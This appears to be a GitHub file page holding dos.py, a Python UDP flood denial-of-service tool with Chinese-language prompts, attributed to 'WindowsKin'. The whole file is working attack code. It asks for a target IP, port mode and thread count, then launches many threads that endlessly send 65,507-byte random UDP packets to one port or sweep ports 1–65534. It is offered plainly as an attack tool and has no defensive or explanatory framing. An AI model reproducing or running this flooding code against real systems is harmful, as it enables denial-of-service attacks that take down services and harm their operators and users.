-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathdos.py
More file actions
93 lines (84 loc) · 2.36 KB
/
dos.py
File metadata and controls
93 lines (84 loc) · 2.36 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
import sys
import os
import time
import socket
import threading
from time import sleep
from random import randbytes , _urandom
from datetime import datetime
now = datetime.now()
hour = now.hour
minute = now.minute
day = now.day
month = now.month
year = now.year
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
os.system("clear")
ip = input("""
Python3 dos工具
提示:需要强劲的电脑,起步条件CPU 8核以上,内存条8GB以上,才能达到预期效果!!!
作者 : WindowsKin
版本 : V1.0
请输入 IP : """)
mode_p = input("""
1.字节数据
2.数据包
请输入攻击类型 : """)
if mode_p == "1":
bytes = randbytes(65507)
elif mode_p == "2":
bytes = _urandom(65507)
else:
print('检测到你输入了无效内容,已以为你选择默认值"2"')
sleep(2)
bytes = _urandom(65507)
mode = input("""
1.从指定端口进行攻击
2.从端口 1 ~ 65534 依次进行循坏攻击
请输入攻击方式 : """)
if mode == "1":
port = int(input("请输入 端口 : "))
elif mode != "2":
print('检测到你输入了无效内容,已以为你选择默认值"2"')
sleep(2)
mode = "2"
try:
sc = int(input("请输入 线程数量(不能为0) : "))
if sc == 0:
print('检测到你输入了无效内容,已以为你选择默认值"1"')
sleep(2)
sc = 1
except ValueError:
print('检测到你输入了无效内容,已以为你选择默认值"1"')
sleep(2)
sc = 1
os.system("clear")
if mode == "1":
print(f"已选攻击方式 {mode} 进行攻击\n攻击程序正在攻击 {ip} {port} 端口")
elif mode == "2":
print(f"已选攻击方式 {mode} 进行攻击\n攻击程序正在攻击 {ip}")
def dos_1(bytes , ip , port):
while True:
try:
sock.sendto(bytes , (ip , port))
except OSError:
pass
def dos_2(bytes , ip):
port = 4444
while True:
try:
sock.sendto(bytes , (ip , port))
if port == 65534:
port = 1
else:
port += 1
except OSError:
pass
if mode == "1":
for i in range(sc):
dos_1_sc = threading.Thread(target = dos_1 , args = (bytes , ip , port))
dos_1_sc.start()
elif mode == "2":
for i in range(sc):
dos_2_sc = threading.Thread(target = dos_2 , args = (bytes , ip))
dos_2_sc.start()